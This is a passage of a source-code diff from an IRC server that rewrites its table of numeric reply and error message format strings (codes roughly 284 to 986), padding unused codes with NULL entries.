284 */ NULL, +/* 285 */ NULL, +/* 286 */ NULL, +/* 287 */ NULL, +/* 288 */ NULL, +/* 289 */ NULL, +/* 290 */ NULL, +/* 291 */ NULL, +/* 292 */ NULL, +/* 293 */ NULL, +/* 294 RPL_HELPFWD */ ":%s 294 %s :Your help-request has been forwarded to Help Operators", +/* 295 RPL_HELPIGN */ ":%s 295 %s :Your address has been ignored from forwarding", +/* 296 */ NULL, +/* 297 */ NULL, +/* 298 */ NULL, +/* 299 */ NULL, +/* 300 */ NULL, /* Used */ +/* 301 RPL_AWAY */ ":%s 301 %s %s :%s", +/* 302 RPL_USERHOST */ ":%s 302 %s :", +/* 303 RPL_ISON */ ":%s 303 %s :", +/* 304 */ NULL, /* Used */ +/* 305 RPL_UNAWAY */ ":%s 305 %s :You are no longer marked as being away", +/* 306 RPL_NOWAWAY */ ":%s 306 %s :You have been marked as being away", +/* 307 RPL_WHOISREGNICK */ ":%s 307 %s %s :is a registered nick", +/* 308 RPL_RULESSTART */ ":%s 308 %s :- %s Server Rules - ", +/* 309 RPL_ENDOFRULES */ ":%s 309 %s :End of RULES command.", +/* 310 RPL_WHOISHELPOP */ ":%s 310 %s %s :is available for help.", +/* 311 RPL_WHOISUSER */ ":%s 311 %s %s %s %s * :%s", +/* 312 RPL_WHOISSERVER */ ":%s 312 %s %s %s :%s", +/* 313 RPL_WHOISOPERATOR */ ":%s 313 %s %s :is %s on %s", +/* 314 RPL_WHOWASUSER */ ":%s 314 %s %s %s %s * :%s", +/* 315 RPL_ENDOFWHO */ ":%s 315 %s %s :End of /WHO list.", +/* 316 */ NULL, /* Used */ +/* 317 RPL_WHOISIDLE */ ":%s 317 %s %s %ld %ld :seconds idle, signon time", +/* 318 RPL_ENDOFWHOIS */ ":%s 318 %s %s :End of /WHOIS list.", +/* 319 RPL_WHOISCHANNELS */ ":%s 319 %s %s :%s", +/* 320 RPL_WHOISSPECIAL */ ":%s 320 %s %s :%s", +/* 321 RPL_LISTSTART */ ":%s 321 %s Channel :Users Name", +/* 322 RPL_LIST */ ":%s 322 %s %s %d :%s", +/* 323 RPL_LISTEND */ ":%s 323 %s :End of /LIST", +/* 324 RPL_CHANNELMODEIS */ ":%s 324 %s %s %s %s", +/* 325 */ NULL, +/* 326 */ NULL, +/* 327 */ NULL, +/* 328 */ NULL, +/* 329 RPL_CREATIONTIME */ ":%s 329 %s %s %lu", +/* 330 */ NULL, +/* 331 RPL_NOTOPIC */ ":%s 331 %s %s :No topic is set.", +/* 332 RPL_TOPIC */ ":%s 332 %s %s :%s", +/* 333 RPL_TOPICWHOTIME */ ":%s 333 %s %s %s %lu", +/* 334 RPL_LISTSYNTAX */ ":%s 334 %s :%s", +/* 335 RPL_WHOISBOT */ ":%s 335 %s %s :is a \2Bot\2 on %s", +/* 336 */ NULL, +/* 337 */ NULL, +/* 338 */ NULL, +/* 339 */ NULL, +/* 340 */ NULL, +/* 341 RPL_INVITING */ ":%s 341 %s %s %s", +/* 342 RPL_SUMMONING */ ":%s 342 %s %s :User summoned to irc", +/* 343 */ NULL, +/* 344 */ NULL, +/* 345 */ NULL, +/* 346 RPL_INVITELIST */ ":%s 346 %s %s %s", +/* 347 RPL_ENDOFINVITELIST */ ":%s 347 %s %s :End of Channel Invite List", +/* 348 RPL_EXLIST */ ":%s 348 %s %s %s %s %lu", +/* 349 RPL_ENDOFEXLIST */ ":%s 349 %s %s :End of Channel Exception List", +/* 350 */ NULL, +/* 351 RPL_VERSION */ ":%s 351 %s %s(%s).%s %s :%s [%s=%li%s]", +/* 352 RPL_WHOREPLY */ ":%s 352 %s %s %s %s %s %s %s :%d %s", +/* 353 RPL_NAMREPLY */ ":%s 353 %s %s", +/* 354 */ NULL, /* Reserved for Undernet */ +/* 355 */ NULL, +/* 356 */ NULL, +/* 357 */ NULL, +/* 358 */ NULL, +/* 359 */ NULL, +/* 360 */ NULL, +/* 361 */ NULL, +/* 362 RPL_CLOSING */ ":%s 362 %s %s :Closed. Status = %d", +/* 363 RPL_CLOSEEND */ ":%s 363 %s %d: Connections Closed", +/* 364 RPL_LINKS */ ":%s 364 %s %s %s :%d %s", +/* 365 RPL_ENDOFLINKS */ ":%s 365 %s %s :End of /LINKS list.", +/* 366 RPL_ENDOFNAMES */ ":%s 366 %s %s :End of /NAMES list.", +/* 367 RPL_BANLIST */ ":%s 367 %s %s %s %s %lu", +/* 368 RPL_ENDOFBANLIST */ ":%s 368 %s %s :End of Channel Ban List", +/* 369 RPL_ENDOFWHOWAS */ ":%s 369 %s %s :End of WHOWAS", +/* 370 */ NULL, +/* 371 RPL_INFO */ ":%s 371 %s :%s", +/* 372 RPL_MOTD */ ":%s 372 %s :- %s", +/* 373 RPL_INFOSTART */ ":%s 373 %s :Server INFO", +/* 374 RPL_ENDOFINFO */ ":%s 374 %s :End of /INFO list.", +/* 375 RPL_MOTDSTART */ ":%s 375 %s :- %s Message of the Day - ", +/* 376 RPL_ENDOFMOTD */ ":%s 376 %s :End of /MOTD command.", +/* 377 */ NULL, +/* 378 RPL_WHOISHOST */ ":%s 378 %s %s :is connecting from *@%s", +/* 379 RPL_WHOISMODES */ ":%s 379 %s %s is using modes %s", +/* 380 */ NULL, +/* 381 RPL_YOUREOPER */ ":%s 381 %s :You are now an IRC Operator", +/* 382 RPL_REHASHING */ ":%s 382 %s %s :Rehashing", +/* 383 */ NULL, /* Used */ +/* 384 RPL_MYPORTIS */ ":%s 384 %s %d :Port to local server is\r\n", +/* 385 */ NULL, /* Used */ +/* 386 RPL_QLIST */ ":%s 386 %s %s %s", +/* 387 RPL_ENDOFQLIST */ ":%s 387 %s %s :End of Channel Owner List", +/* 388 RPL_ALIST */ ":%s 388 %s %s %s", +/* 389 RPL_ENDOFALIST */ ":%s 389 %s %s :End of Protected User List", +/* 390 */ NULL, +/* 391 RPL_TIME */ ":%s 391 %s %s :%s", +#ifdef ENABLE_USERS +/* 392 RPL_USERSSTART */ ":%s 392 %s :UserID Terminal Host", +/* 393 RPL_USERS */ ":%s 393 %s :%-8s %-9s %-8s", +/* 394 RPL_ENDOFUSERS */ ":%s 394 %s :End of Users", +/* 395 RPL_NOUSERS */ ":%s 395 %s :Nobody logged in.", +#else +/* 392 */ NULL, +/* 393 */ NULL, +/* 394 */ NULL, +/* 395 */ NULL, +#endif +/* 396 */ NULL, +/* 397 */ NULL, +/* 398 */ NULL, +/* 399 */ NULL, +/* 400 */ NULL, +/* 401 ERR_NOSUCHNICK */ ":%s 401 %s %s :No such nick/channel", +/* 402 ERR_NOSUCHSERVER */ ":%s 402 %s %s :No such server", +/* 403 ERR_NOSUCHCHANNEL */ ":%s 403 %s %s :No such channel", +/* 404 ERR_CANNOTSENDTOCHAN */ ":%s 404 %s %s :%s (%s)", +/* 405 ERR_TOOMANYCHANNELS */ ":%s 405 %s %s :You have joined too many channels", +/* 406 ERR_WASNOSUCHNICK */ ":%s 406 %s %s :There was no such nickname", +/* 407 ERR_TOOMANYTARGETS */ ":%s 407 %s %s :Duplicate recipients. No message delivered", +/* 408 */ NULL, /* Used */ +/* 409 ERR_NOORIGIN */ ":%s 409 %s :No origin specified", +/* 410 */ NULL, +/* 411 ERR_NORECIPIENT */ ":%s 411 %s :No recipient given (%s)", +/* 412 ERR_NOTEXTTOSEND */ ":%s 412 %s :No text to send", +/* 413 ERR_NOTOPLEVEL */ ":%s 413 %s %s :No toplevel domain specified", +/* 414 ERR_WILDTOPLEVEL */ ":%s 414 %s %s :Wildcard in toplevel Domain", +/* 415 */ NULL, +/* 416 */ NULL, +/* 417 */ NULL, +/* 418 */ NULL, +/* 419 */ NULL, +/* 420 */ NULL, +/* 421 ERR_UNKNOWNCOMMAND */ ":%s 421 %s %s :Unknown command", +/* 422 ERR_NOMOTD */ ":%s 422 %s :MOTD File is missing", +/* 423 ERR_NOADMININFO */ ":%s 423 %s %s :No administrative info available", +/* 424 ERR_FILEERROR */ ":%s 424 %s :File error doing %s on %s", +/* 425 ERR_NOOPERMOTD */ ":%s 425 %s :OPERMOTD File is missing", +/* 426 */ NULL, +/* 427 */ NULL, +/* 428 */ NULL, +/* 429 */ NULL, +/* 430 */ NULL, +/* 431 ERR_NONICKNAMEGIVEN */ ":%s 431 %s :No nickname given", +/* 432 ERR_ERRONEUSNICKNAME */ ":%s 432 %s %s :Erroneous Nickname: %s", +/* 433 ERR_NICKNAMEINUSE */ ":%s 433 %s %s :Nickname is already in use.", +/* 434 ERR_NORULES */ ":%s 434 %s :RULES File is missing", +/* 435 */ NULL, /* Used */ +/* 436 ERR_NICKCOLLISION */ ":%s 436 %s %s :Nickname collision KILL", +/* 437 ERR_BANNICKCHANGE */ ":%s 437 %s %s :Cannot change nickname while banned on channel", +/* 438 ERR_NCHANGETOOFAST */ ":%s 438 %s %s :Nick change too fast. Please wait %d seconds", +/* 439 ERR_TARGETTOOFAST */ ":%s 439 %s %s :Message target change too fast. Please wait %d seconds", +/* 440 ERR_SERVICESDOWN */ ":%s 440 %s %s :Services are currently down. Please try again later.", +/* 441 ERR_USERNOTINCHANNEL */ ":%s 441 %s %s %s :They aren't on that channel", +/* 442 ERR_NOTONCHANNEL */ ":%s 442 %s %s :You're not on that channel", +/* 443 ERR_USERONCHANNEL */ ":%s 443 %s %s %s :is already on channel", +/* 444 ERR_NOLOGIN */ ":%s 444 %s %s :User not logged in", +#ifndef ENABLE_SUMMON +/* 445 ERR_SUMMONDISABLED */ ":%s 447 %s :SUMMON has been disabled", +#else +/* 445 */ NULL, #endif #ifndef ENABLE_USERS -/* 446 */ ERR_USERSDISABLED, ":USERS has been disabled", +/* 446 ERR_USERSDISABLED */ ":%s 446 %s :USERS has been disabled", #else - 0, (char *)NULL, +/* 446 */ NULL, #endif - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, -/* 451 */ ERR_NOTREGISTERED, ":You have not registered", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, +/* 447 */ NULL, +/* 448 */ NULL, +/* 449 */ NULL, +/* 450 */ NULL, +/* 451 ERR_NOTREGISTERED */ ":%s 451 %s :You have not registered", +/* 452 */ NULL, +/* 453 */ NULL, +/* 454 */ NULL, #ifdef HOSTILENAME -/* 455 */ ERR_HOSTILENAME, ":Your username %s contained the invalid " +/* 455 ERR_HOSTILENAME */ ":%s 455 %s :Your username %s contained the invalid " "character(s) %s and has been changed to %s. " "Please use only the characters 0-9 a-z A-Z _ - " "or . in your username. Your username is the part " "before the @ in your email address.", #else - 0, (char *)NULL, +/* 455 */ NULL, #endif - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, -/* 459 */ ERR_NOHIDING, "%s :Cannot join channel (+H)", -/* 460 */ ERR_NOTFORHALFOPS, ":Halfops cannot set mode %c", -/* 461 */ ERR_NEEDMOREPARAMS, "%s :Not enough parameters", -/* 462 */ ERR_ALREADYREGISTRED, ":You may not reregister", -/* 463 */ ERR_NOPERMFORHOST, ":Your host isn't among the privileged", -/* 464 */ ERR_PASSWDMISMATCH, ":Password Incorrect", -/* 465 */ ERR_YOUREBANNEDCREEP, - ":You are banned from this server. Mail %s for more information", -/* 466 */ ERR_YOUWILLBEBANNED, (char *)NULL, -/* 467 */ ERR_KEYSET, "%s :Channel key already set", -/* 468 */ ERR_ONLYSERVERSCANCHANGE, - "%s :Only servers can change that mode", -/* 469 */ ERR_LINKSET, "%s :Channel link already set", -/* 470 */ ERR_LINKCHANNEL, - "[Link] %s has become full, so you are automatically being transferred to the linked channel %s", -/* 471 */ ERR_CHANNELISFULL, "%s :Cannot join channel (+l)", -/* 472 */ ERR_UNKNOWNMODE, "%c :is unknown mode char to me", -/* 473 */ ERR_INVITEONLYCHAN, "%s :Cannot join channel (+i)", -/* 474 */ ERR_BANNEDFROMCHAN, "%s :Cannot join channel (+b)", -/* 475 */ ERR_BADCHANNELKEY, "%s :Cannot join channel (+k)", -/* 476 */ ERR_BADCHANMASK, "%s :Bad Channel Mask", -/* 477 */ ERR_NEEDREGGEDNICK, - "%s :You need a registered nick to join that channel.", -/* 478 */ ERR_BANLISTFULL, "%s %s :Channel ban/ignore list is full", -/* 479 */ ERR_LINKFAIL, - "%s :Sorry, the channel has an invalid channel link set.", -/* 480 */ ERR_CANNOTKNOCK, ":Cannot knock on %s (%s)", -/* 481 */ ERR_NOPRIVILEGES, - ":Permission Denied- You do not have the correct IRC operator privileges", -/* 482 */ ERR_CHANOPRIVSNEEDED, "%s :You're not channel operator", -/* 483 */ ERR_CANTKILLSERVER, ":You cant kill a server!", -/* 484 */ ERR_ATTACKDENY, "%s :Cannot kick protected user %s.", -/* 485 */ ERR_KILLDENY, ":Cannot kill protected user %s.", -/* 486 */ ERR_HTMDISABLED, - ":%s is currently disabled, please try again later.", - 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 491 */ ERR_NOOPERHOST, ":No O-lines for your host", -/* 492 */ ERR_NOSERVICEHOST, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 501 */ ERR_UMODEUNKNOWNFLAG, ":Unknown MODE flag", -/* 502 */ ERR_USERSDONTMATCH, ":Cant change mode for other users", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, 0, (char *)NULL, -/* 511 */ ERR_SILELISTFULL, "%s :Your silence list is full", -/* 512 */ ERR_TOOMANYWATCH, - "%s :Maximum size for WATCH-list is 128 entries", -/* 513 */ ERR_NEEDPONG, ":To connect, type /QUOTE PONG %lX", - 0, (char *)NULL, 0, (char *)NULL, 0, (char *)NULL, - 0, (char *)NULL, - 518, ":Cannot invite (+I) at channel", - 519, ":Cannot join channel (Admin only)", - 520, ":Cannot join channel (IRCops only)", -/* 521 */ ERR_LISTSYNTAX, - "Bad list syntax, type /quote list ? or /raw list ?" +/* 456 */ NULL, +/* 457 */ NULL, +/* 458 */ NULL, +/* 459 ERR_NOHIDING */ ":%s 459 %s %s :Cannot join channel (+H)", +/* 460 ERR_NOTFORHALFOPS */ ":%s 460 %s :Halfops cannot set mode %c", +/* 461 ERR_NEEDMOREPARAMS */ ":%s 461 %s %s :Not enough parameters", +/* 462 ERR_ALREADYREGISTRED */ ":%s 462 %s :You may not reregister", +/* 463 ERR_NOPERMFORHOST */ ":%s 463 %s :Your host isn't among the privileged", +/* 464 ERR_PASSWDMISMATCH */ ":%s 464 %s :Password Incorrect", +/* 465 ERR_YOUREBANNEDCREEP */ ":%s 465 %s :You are banned from this server. Mail %s for more information", +/* 466 */ NULL, /* Used */ +/* 467 ERR_KEYSET */ ":%s 467 %s %s :Channel key already set", +/* 468 ERR_ONLYSERVERSCANCHANGE */ ":%s 468 %s %s :Only servers can change that mode", +/* 469 ERR_LINKSET */ ":%s 469 %s %s :Channel link already set", +/* 470 ERR_LINKCHANNEL */ ":%s 470 %s [Link] %s has become full, so you are automatically being transferred to the linked channel %s", +/* 471 ERR_CHANNELISFULL */ ":%s 471 %s %s :Cannot join channel (+l)", +/* 472 ERR_UNKNOWNMODE */ ":%s 472 %s %c :is unknown mode char to me", +/* 473 ERR_INVITEONLYCHAN */ ":%s 473 %s %s :Cannot join channel (+i)", +/* 474 ERR_BANNEDFROMCHAN */ ":%s 474 %s %s :Cannot join channel (+b)", +/* 475 ERR_BADCHANNELKEY */ ":%s 475 %s %s :Cannot join channel (+k)", +/* 476 ERR_BADCHANMASK */ ":%s 476 %s %s :Bad Channel Mask", +/* 477 ERR_NEEDREGGEDNICK */ ":%s 477 %s %s :You need a registered nick to join that channel.", +/* 478 ERR_BANLISTFULL */ ":%s 478 %s %s %s :Channel ban/ignore list is full", +/* 479 ERR_LINKFAIL */ ":%s 479 %s %s :Sorry, the channel has an invalid channel link set.", +/* 480 ERR_CANNOTKNOCK */ ":%s 480 %s :Cannot knock on %s (%s)", +/* 481 ERR_NOPRIVILEGES */ ":%s 481 %s :Permission Denied- You do not have the correct IRC operator privileges", +/* 482 ERR_CHANOPRIVSNEEDED */ ":%s 482 %s %s :You're not channel operator", +/* 483 ERR_CANTKILLSERVER */ ":%s 483 %s :You cant kill a server!", +/* 484 ERR_ATTACKDENY */ ":%s 484 %s %s :Cannot kick protected user %s.", +/* 485 ERR_KILLDENY */ ":%s 485 %s :Cannot kill protected user %s.", +/* 486 ERR_HTMDISABLED */ ":%s 486 %s :%s is currently disabled, please try again later.", +/* 487 */ NULL, +/* 488 */ NULL, +/* 489 */ NULL, +/* 490 */ NULL, +/* 491 ERR_NOOPERHOST */ ":%s 491 %s :No O-lines for your host", +/* 492 */ NULL, +/* 493 */ NULL, +/* 494 */ NULL, +/* 495 */ NULL, +/* 496 */ NULL, +/* 497 */ NULL, +/* 498 */ NULL, +/* 499 */ NULL, +/* 500 */ NULL, +/* 501 ERR_UMODEUNKNOWNFLAG */ ":%s 501 %s :Unknown MODE flag", +/* 502 ERR_USERSDONTMATCH */ ":%s 502 %s :Cant change mode for other users", +/* 503 */ NULL, +/* 504 */ NULL, +/* 505 */ NULL, +/* 506 */ NULL, +/* 507 */ NULL, +/* 508 */ NULL, +/* 509 */ NULL, +/* 510 */ NULL, +/* 511 ERR_SILELISTFULL */ ":%s 511 %s %s :Your silence list is full", +/* 512 ERR_TOOMANYWATCH */ ":%s 512 %s %s :Maximum size for WATCH-list is 128 entries", +/* 513 ERR_NEEDPONG */ ":%s 513 %s :To connect, type /QUOTE PONG %lX", +/* 514 */ NULL, +/* 515 */ NULL, +/* 516 */ NULL, +/* 517 */ NULL, +/* 518 518 */ ":%s 518 %s :Cannot invite (+I) at channel", +/* 519 519 */ ":%s 519 %s :Cannot join channel (Admin only)", +/* 520 520 */ ":%s 520 %s :Cannot join channel (IRCops only)", +/* 521 ERR_LISTSYNTAX */ ":%s 521 %s Bad list syntax, type /quote list ? or /raw list ?", +/* 522 */ NULL, +/* 523 */ NULL, +/* 524 */ NULL, +/* 525 */ NULL, +/* 526 */ NULL, +/* 527 */ NULL, +/* 528 */ NULL, +/* 529 */ NULL, +/* 530 */ NULL, +/* 531 */ NULL, +/* 532 */ NULL, +/* 533 */ NULL, +/* 534 */ NULL, +/* 535 */ NULL, +/* 536 */ NULL, +/* 537 */ NULL, +/* 538 */ NULL, +/* 539 */ NULL, +/* 540 */ NULL, +/* 541 */ NULL, +/* 542 */ NULL, +/* 543 */ NULL, +/* 544 */ NULL, +/* 545 */ NULL, +/* 546 */ NULL, +/* 547 */ NULL, +/* 548 */ NULL, +/* 549 */ NULL, +/* 550 */ NULL, +/* 551 */ NULL, +/* 552 */ NULL, +/* 553 */ NULL, +/* 554 */ NULL, +/* 555 */ NULL, +/* 556 */ NULL, +/* 557 */ NULL, +/* 558 */ NULL, +/* 559 */ NULL, +/* 560 */ NULL, +/* 561 */ NULL, +/* 562 */ NULL, +/* 563 */ NULL, +/* 564 */ NULL, +/* 565 */ NULL, +/* 566 */ NULL, +/* 567 */ NULL, +/* 568 */ NULL, +/* 569 */ NULL, +/* 570 */ NULL, +/* 571 */ NULL, +/* 572 */ NULL, +/* 573 */ NULL, +/* 574 */ NULL, +/* 575 */ NULL, +/* 576 */ NULL, +/* 577 */ NULL, +/* 578 */ NULL, +/* 579 */ NULL, +/* 580 */ NULL, +/* 581 */ NULL, +/* 582 */ NULL, +/* 583 */ NULL, +/* 584 */ NULL, +/* 585 */ NULL, +/* 586 */ NULL, +/* 587 */ NULL, +/* 588 */ NULL, +/* 589 */ NULL, +/* 590 */ NULL, +/* 591 */ NULL, +/* 592 */ NULL, +/* 593 */ NULL, +/* 594 */ NULL, +/* 595 */ NULL, +/* 596 */ NULL, +/* 597 */ NULL, +/* 598 */ NULL, +/* 599 */ NULL, +/* 600 RPL_LOGON */ ":%s 600 %s %s %s %s %d :logged online", +/* 601 RPL_LOGOFF */ ":%s 601 %s %s %s %s %d :logged offline", +/* 602 RPL_WATCHOFF */ ":%s 602 %s %s %s %s %d :stopped watching", +/* 603 RPL_WATCHSTAT */ ":%s 603 %s :You have %d and are on %d WATCH entries", +/* 604 RPL_NOWON */ ":%s 604 %s %s %s %s %d :is online", +/* 605 RPL_NOWOFF */ ":%s 605 %s %s %s %s %d :is offline", +/* 606 RPL_WATCHLIST */ ":%s 606 %s :%s", +/* 607 RPL_ENDOFWATCHLIST */ ":%s 607 %s :End of WATCH %c", +/* 608 */ NULL, +/* 609 */ NULL, +/* 610 RPL_MAPMORE */ ":%s 610 %s :%s%-*s --> *more*", +/* 611 */ NULL, +/* 612 */ NULL, +/* 613 */ NULL, +/* 614 */ NULL, +/* 615 */ NULL, +/* 616 */ NULL, +/* 617 */ NULL, +/* 618 */ NULL, +/* 619 */ NULL, +/* 620 */ NULL, +/* 621 */ NULL, +/* 622 */ NULL, +/* 623 */ NULL, +/* 624 */ NULL, +/* 625 */ NULL, +/* 626 */ NULL, +/* 627 */ NULL, +/* 628 */ NULL, +/* 629 */ NULL, +/* 630 */ NULL, +/* 631 */ NULL, +/* 632 */ NULL, +/* 633 */ NULL, +/* 634 */ NULL, +/* 635 */ NULL, +/* 636 */ NULL, +/* 637 */ NULL, +/* 638 */ NULL, +/* 639 */ NULL, +/* 640 RPL_DUMPING */ ":%s 640 %s :Dumping clients matching %s", +/* 641 RPL_DUMPRPL */ ":%s 641 %s %s %s %s %s %s%s%s%s", +/* 642 RPL_EODUMP */ ":%s 642 %s :End of /dusers - %i", +/* 643 */ NULL, +/* 644 */ NULL, +/* 645 */ NULL, +/* 646 */ NULL, +/* 647 */ NULL, +/* 648 */ NULL, +/* 649 */ NULL, +/* 650 */ NULL, +/* 651 */ NULL, +/* 652 */ NULL, +/* 653 */ NULL, +/* 654 */ NULL, +/* 655 */ NULL, +/* 656 */ NULL, +/* 657 */ NULL, +/* 658 */ NULL, +/* 659 */ NULL, +/* 660 */ NULL, +/* 661 */ NULL, +/* 662 */ NULL, +/* 663 */ NULL, +/* 664 */ NULL, +/* 665 */ NULL, +/* 666 */ NULL, +/* 667 */ NULL, +/* 668 */ NULL, +/* 669 */ NULL, +/* 670 */ NULL, +/* 671 */ NULL, +/* 672 */ NULL, +/* 673 */ NULL, +/* 674 */ NULL, +/* 675 */ NULL, +/* 676 */ NULL, +/* 677 */ NULL, +/* 678 */ NULL, +/* 679 */ NULL, +/* 680 */ NULL, +/* 681 */ NULL, +/* 682 */ NULL, +/* 683 */ NULL, +/* 684 */ NULL, +/* 685 */ NULL, +/* 686 */ NULL, +/* 687 */ NULL, +/* 688 */ NULL, +/* 689 */ NULL, +/* 690 */ NULL, +/* 691 */ NULL, +/* 692 */ NULL, +/* 693 */ NULL, +/* 694 */ NULL, +/* 695 */ NULL, +/* 696 */ NULL, +/* 697 */ NULL, +/* 698 */ NULL, +/* 699 */ NULL, +/* 700 */ NULL, +/* 701 */ NULL, +/* 702 */ NULL, +/* 703 */ NULL, +/* 704 */ NULL, +/* 705 */ NULL, +/* 706 */ NULL, +/* 707 */ NULL, +/* 708 */ NULL, +/* 709 */ NULL, +/* 710 */ NULL, +/* 711 */ NULL, +/* 712 */ NULL, +/* 713 */ NULL, +/* 714 */ NULL, +/* 715 */ NULL, +/* 716 */ NULL, +/* 717 */ NULL, +/* 718 */ NULL, +/* 719 */ NULL, +/* 720 */ NULL, +/* 721 */ NULL, +/* 722 */ NULL, +/* 723 */ NULL, +/* 724 */ NULL, +/* 725 */ NULL, +/* 726 */ NULL, +/* 727 */ NULL, +/* 728 */ NULL, +/* 729 */ NULL, +/* 730 */ NULL, +/* 731 */ NULL, +/* 732 */ NULL, +/* 733 */ NULL, +/* 734 */ NULL, +/* 735 */ NULL, +/* 736 */ NULL, +/* 737 */ NULL, +/* 738 */ NULL, +/* 739 */ NULL, +/* 740 */ NULL, +/* 741 */ NULL, +/* 742 */ NULL, +/* 743 */ NULL, +/* 744 */ NULL, +/* 745 */ NULL, +/* 746 */ NULL, +/* 747 */ NULL, +/* 748 */ NULL, +/* 749 */ NULL, +/* 750 */ NULL, +/* 751 */ NULL, +/* 752 */ NULL, +/* 753 */ NULL, +/* 754 */ NULL, +/* 755 */ NULL, +/* 756 */ NULL, +/* 757 */ NULL, +/* 758 */ NULL, +/* 759 */ NULL, +/* 760 */ NULL, +/* 761 */ NULL, +/* 762 */ NULL, +/* 763 */ NULL, +/* 764 */ NULL, +/* 765 */ NULL, +/* 766 */ NULL, +/* 767 */ NULL, +/* 768 */ NULL, +/* 769 */ NULL, +/* 770 */ NULL, +/* 771 */ NULL, +/* 772 */ NULL, +/* 773 */ NULL, +/* 774 */ NULL, +/* 775 */ NULL, +/* 776 */ NULL, +/* 777 */ NULL, +/* 778 */ NULL, +/* 779 */ NULL, +/* 780 */ NULL, +/* 781 */ NULL, +/* 782 */ NULL, +/* 783 */ NULL, +/* 784 */ NULL, +/* 785 */ NULL, +/* 786 */ NULL, +/* 787 */ NULL, +/* 788 */ NULL, +/* 789 */ NULL, +/* 790 */ NULL, +/* 791 */ NULL, +/* 792 */ NULL, +/* 793 */ NULL, +/* 794 */ NULL, +/* 795 */ NULL, +/* 796 */ NULL, +/* 797 */ NULL, +/* 798 */ NULL, +/* 799 */ NULL, +/* 800 */ NULL, +/* 801 */ NULL, +/* 802 */ NULL, +/* 803 */ NULL, +/* 804 */ NULL, +/* 805 */ NULL, +/* 806 */ NULL, +/* 807 */ NULL, +/* 808 */ NULL, +/* 809 */ NULL, +/* 810 */ NULL, +/* 811 */ NULL, +/* 812 */ NULL, +/* 813 */ NULL, +/* 814 */ NULL, +/* 815 */ NULL, +/* 816 */ NULL, +/* 817 */ NULL, +/* 818 */ NULL, +/* 819 */ NULL, +/* 820 */ NULL, +/* 821 */ NULL, +/* 822 */ NULL, +/* 823 */ NULL, +/* 824 */ NULL, +/* 825 */ NULL, +/* 826 */ NULL, +/* 827 */ NULL, +/* 828 */ NULL, +/* 829 */ NULL, +/* 830 */ NULL, +/* 831 */ NULL, +/* 832 */ NULL, +/* 833 */ NULL, +/* 834 */ NULL, +/* 835 */ NULL, +/* 836 */ NULL, +/* 837 */ NULL, +/* 838 */ NULL, +/* 839 */ NULL, +/* 840 */ NULL, +/* 841 */ NULL, +/* 842 */ NULL, +/* 843 */ NULL, +/* 844 */ NULL, +/* 845 */ NULL, +/* 846 */ NULL, +/* 847 */ NULL, +/* 848 */ NULL, +/* 849 */ NULL, +/* 850 */ NULL, +/* 851 */ NULL, +/* 852 */ NULL, +/* 853 */ NULL, +/* 854 */ NULL, +/* 855 */ NULL, +/* 856 */ NULL, +/* 857 */ NULL, +/* 858 */ NULL, +/* 859 */ NULL, +/* 860 */ NULL, +/* 861 */ NULL, +/* 862 */ NULL, +/* 863 */ NULL, +/* 864 */ NULL, +/* 865 */ NULL, +/* 866 */ NULL, +/* 867 */ NULL, +/* 868 */ NULL, +/* 869 */ NULL, +/* 870 */ NULL, +/* 871 */ NULL, +/* 872 */ NULL, +/* 873 */ NULL, +/* 874 */ NULL, +/* 875 */ NULL, +/* 876 */ NULL, +/* 877 */ NULL, +/* 878 */ NULL, +/* 879 */ NULL, +/* 880 */ NULL, +/* 881 */ NULL, +/* 882 */ NULL, +/* 883 */ NULL, +/* 884 */ NULL, +/* 885 */ NULL, +/* 886 */ NULL, +/* 887 */ NULL, +/* 888 */ NULL, +/* 889 */ NULL, +/* 890 */ NULL, +/* 891 */ NULL, +/* 892 */ NULL, +/* 893 */ NULL, +/* 894 */ NULL, +/* 895 */ NULL, +/* 896 */ NULL, +/* 897 */ NULL, +/* 898 */ NULL, +/* 899 */ NULL, +/* 900 */ NULL, +/* 901 */ NULL, +/* 902 */ NULL, +/* 903 */ NULL, +/* 904 */ NULL, +/* 905 */ NULL, +/* 906 */ NULL, +/* 907 */ NULL, +/* 908 */ NULL, +/* 909 */ NULL, +/* 910 */ NULL, +/* 911 */ NULL, +/* 912 */ NULL, +/* 913 */ NULL, +/* 914 */ NULL, +/* 915 */ NULL, +/* 916 */ NULL, +/* 917 */ NULL, +/* 918 */ NULL, +/* 919 */ NULL, +/* 920 */ NULL, +/* 921 */ NULL, +/* 922 */ NULL, +/* 923 */ NULL, +/* 924 */ NULL, +/* 925 */ NULL, +/* 926 */ NULL, +/* 927 */ NULL, +/* 928 */ NULL, +/* 929 */ NULL, +/* 930 */ NULL, +/* 931 */ NULL, +/* 932 */ NULL, +/* 933 */ NULL, +/* 934 */ NULL, +/* 935 */ NULL, +/* 936 */ NULL, +/* 937 */ NULL, +/* 938 */ NULL, +/* 939 */ NULL, +/* 940 */ NULL, +/* 941 */ NULL, +/* 942 */ NULL, +/* 943 */ NULL, +/* 944 */ NULL, +/* 945 */ NULL, +/* 946 */ NULL, +/* 947 */ NULL, +/* 948 */ NULL, +/* 949 */ NULL, +/* 950 */ NULL, +/* 951 */ NULL, +/* 952 */ NULL, +/* 953 */ NULL, +/* 954 */ NULL, +/* 955 */ NULL, +/* 956 */ NULL, +/* 957 */ NULL, +/* 958 */ NULL, +/* 959 */ NULL, +/* 960 */ NULL, +/* 961 */ NULL, +/* 962 */ NULL, +/* 963 */ NULL, +/* 964 */ NULL, +/* 965 */ NULL, +/* 966 */ NULL, +/* 967 */ NULL, +/* 968 */ NULL, +/* 969 */ NULL, +/* 970 */ NULL, +/* 971 */ NULL, +/* 972 */ NULL, +/* 973 */ NULL, +/* 974 */ NULL, +/* 975 */ NULL, +/* 976 */ NULL, +/* 977 */ NULL, +/* 978 */ NULL, +/* 979 */ NULL, +/* 980 */ NULL, +/* 981 */ NULL, +/* 982 */ NULL, +/* 983 */ NULL, +/* 984 */ NULL, +/* 985 */ NULL, +/* 986 */ NULL, 